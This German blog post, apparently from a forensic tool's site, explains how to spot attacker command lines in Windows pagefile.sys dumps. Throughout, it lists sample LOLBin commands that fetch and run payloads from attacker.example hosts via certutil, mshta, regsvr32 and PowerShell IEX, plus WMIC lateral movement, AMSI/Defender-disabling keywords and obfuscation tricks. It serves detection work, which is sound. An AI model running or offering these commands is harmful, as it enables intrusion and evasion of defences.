Zum Inhalt springen
← Zurück zum Blog

Malware-Befehlszeilen in pagefile.sys erkennen

20.5.2026 · 4 Min. Lesezeit

Sobald ein Angreifer irgendetwas auf einem Windows-Host ausführt, lebt die Befehlszeile so lange im Speicher, wie der Elternprozess existiert — und oft länger in Caches wie Sysmons Ereignispuffern, der Historie von cmd.exe und den PROCESSINFO-Strukturen des Kernels. Wird dieser Speicher ausgelagert, landet die Befehlszeile in pagefile.sys.

Der Tab Artifacts → Command lines des Parsers fängt die häufigsten Muster automatisch ab. Dieser Beitrag ist die Referenz dazu, was diese Muster sind, wie sie aussehen und wie Angreifer sie zu verschleiern versuchen.

Die LOLBin-Shortlist

Die Windows-Binaries, zu denen Angreifer am häufigsten greifen, alle mit charakteristischen Befehlszeilenformen:

BinaryWarum Angreifer es nutzen
powershell.exe / pwsh.exeScripting, Encoded Payloads, AMSI-Bypass-Tricks
cmd.exeShell-Zugriff, Piping, einfache Downloader
certutil.exe-urlcache -split -f — File-Downloader, Base64-Decode
bitsadmin.exetransfer myjob /download … — File-Downloader
mshta.exeFührt HTA / JScript / VBS von einer URL aus
rundll32.exeLädt eine beliebige DLL, führt benannten Export aus
regsvr32.exe„Squiblydoo" — /s /i:http://…/payload.sct scrobj.dll
wmic.exeprocess call create, Lateral Movement
wscript.exe / cscript.exeVBS-/JScript-Ausführung
installutil.exe.NET InstallUtil bypass von AppLocker
msbuild.exeInline-Task-Ausführung von beliebigem C#

PowerShell-Muster

PowerShell ist die mit Abstand größte Quelle für Angreifer-Befehlszeilen in Pagefile-Dumps. Wonach man greppen sollte:

powershell.exe -nop -w hidden -enc <base64>
powershell -ExecutionPolicy Bypass -File C:\…
powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://…')"
powershell -EncodedCommand <base64>
pwsh -nop -ep bypass -c "…"

Der Encoded Command ist am ergiebigsten: base64-dekodieren (innen liegt UTF-16LE) und Sie haben den tatsächlichen PowerShell-Quelltext. Der Tab Artifacts → Command lines des Parsers erfasst bis zu 256 Zeichen nach dem powershell-Token, was meist reicht, um die volle -enc-Payload mitzunehmen.

Wenn Sie -enc oder -EncodedCommand sehen:

echo "<base64>" | base64 -d | iconv -f UTF-16LE -t UTF-8

…zum Dekodieren.

Andere PowerShell-Hinweise, nach denen sich das Greppen im Tab Strings lohnt:

  • [System.Net.WebClient], Net.WebClient, DownloadString, DownloadFile.
  • Invoke-Expression, IEX, iex.
  • [System.Reflection.Assembly]::Load, [Reflection.Assembly]::Load — In-Memory-.NET-Loading.
  • [Convert]::FromBase64String — fast immer gefolgt von einer Payload.
  • AmsiUtils, amsiInitFailed — AMSI-Bypass-Versuche.
  • Set-MpPreference -DisableRealtimeMonitoring — Defender-Deaktivierung.

certutil-Downloader

Ein klassisches File-Download-Muster:

certutil.exe -urlcache -split -f http://attacker.example/payload.exe out.exe
certutil -urlcache -split -f https://… encoded.b64
certutil -decode encoded.b64 out.exe

certutil ist von Microsoft signiert und überall vorinstalliert, also beliebt bei Angreifern. Filtern Sie im Tab Command lines nach certutil oder greppen Sie im Tab Strings nach -urlcache.

bitsadmin-Downloader

bitsadmin /transfer myjob /download /priority high http://… C:\Users\Public\x.exe

In modernen Engagements seltener, aber bei älteren Malware-Familien weiterhin anzutreffen.

mshta und HTA-Payloads

mshta.exe http://attacker.example/p.hta
mshta vbscript:CreateObject("Wscript.Shell").Run("…")
mshta javascript:…

Varianten von mshta vbscript:… und mshta javascript:… lohnen besonders das Greppen — sie laufen inline, ohne die Disk zu berühren.

rundll32 + DLL-Sideloading

rundll32.exe shell32.dll,#61 "C:\…"
rundll32.exe C:\Users\Public\evil.dll,DllMain
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();…

Die javascript:-Variante existiert dank eines Microsoft-Moniker- Eigenheit. Nach rundll32 filtern und jede Zeile prüfen — die meisten legitimen rundll32-Aufrufe haben ein numerisches Ordinal oder einen erkennbaren Microsoft-DLL-Namen; alles, was aus %TEMP%, %PUBLIC%, %PROGRAMDATA% oder einem Benutzerprofil lädt, ist verdächtig.

regsvr32 „Squiblydoo"

regsvr32 /s /n /u /i:http://attacker.example/payload.sct scrobj.dll

Eine signierte Microsoft-Binary, die Remote-Scriptlet-Inhalt lädt. Suchen Sie nach regsvr32 + http.

WMIC für Lateral Movement

wmic /node:target process call create "powershell -enc …"
wmic process where name='lsass.exe' get processid

wmic /node: ist das Smoking-Gun für Lateral Movement — legitime administrative Verwendung auf Arbeitsplätzen ist selten.

Living-off-the-Land-Verschleierung

Echte Angreifer verschleiern. Übliche Tricks, die trotzdem lesbare Fragmente im Pagefile hinterlassen:

  • Umgekehrte Strings: ('xeotuper' | ForEach-Object {…}) — String rückwärts lesen.
  • Char-Code-Arrays: [char[]](0x70,0x6f,0x77,…) — zu ASCII dekodieren.
  • String-Verkettung: "po" + "wer" + "shell" — beide Hälften bleiben als dekodierte Strings im Speicher.
  • Umgebungsvariablen-Substitution: %comspec% /c …, %PSEXEC%.
  • Wechselnde Groß-/Kleinschreibung: PoWeRsHeLl — Windows ist das egal, aber simple Greps fallen darauf herein. Die Regex dieses Parsers ist standardmäßig case-insensitive.

Der dekodierte String landet zur Laufzeit fast immer im Speicher — also zeigt sich auch bei verschleierter Invocation die effektive Befehlszeile in der Nähe als gut lesbare Strings.

Querverweise mit Zeitstempeln

Ein Pagefile allein hat keine Zeitstempel. Um ein Finding zeitlich zu verankern:

  • Mit dem Ereignisprotokoll Microsoft-Windows-Sysmon/Operational (EventID 1, Prozesserzeugung) paaren — dieselbe Befehlszeile erscheint mit Zeitstempel.
  • Mit PowerShell Microsoft-Windows-PowerShell/Operational (EventID 4104, Script-Block-Logging) paaren.
  • Mit dem Security-Log (EventID 4688, Prozesserzeugung, sofern AuditProcessCreation mit Befehlszeilen-Auditing aktiviert ist) paaren.

Wenn Sie diese Ereignisprotokolle ebenfalls haben, ist der Workflow: verdächtige Befehlszeile im Pagefile finden → auf den EVTX-Eintrag zurückmatchen → Prozessbaum, Eltern, User, Zeitstempel bekommen.

Was die Regex dieses Tools fängt

Die command-Artefakt-Regex matcht bis zu 256 Zeichen nach jedem von: cmd.exe, powershell / pwsh, wscript.exe, cscript.exe, rundll32.exe, mshta.exe, regsvr32.exe, certutil.exe, bitsadmin.exe. Case-insensitive. Das deckt den Großteil praktischer Angreifer-Tradecraft ab.

Für den Rest — wmic, installutil, msbuild, vssadmin delete shadows usw. — nutzen Sie den Tab Strings und filtern manuell.

Verwandt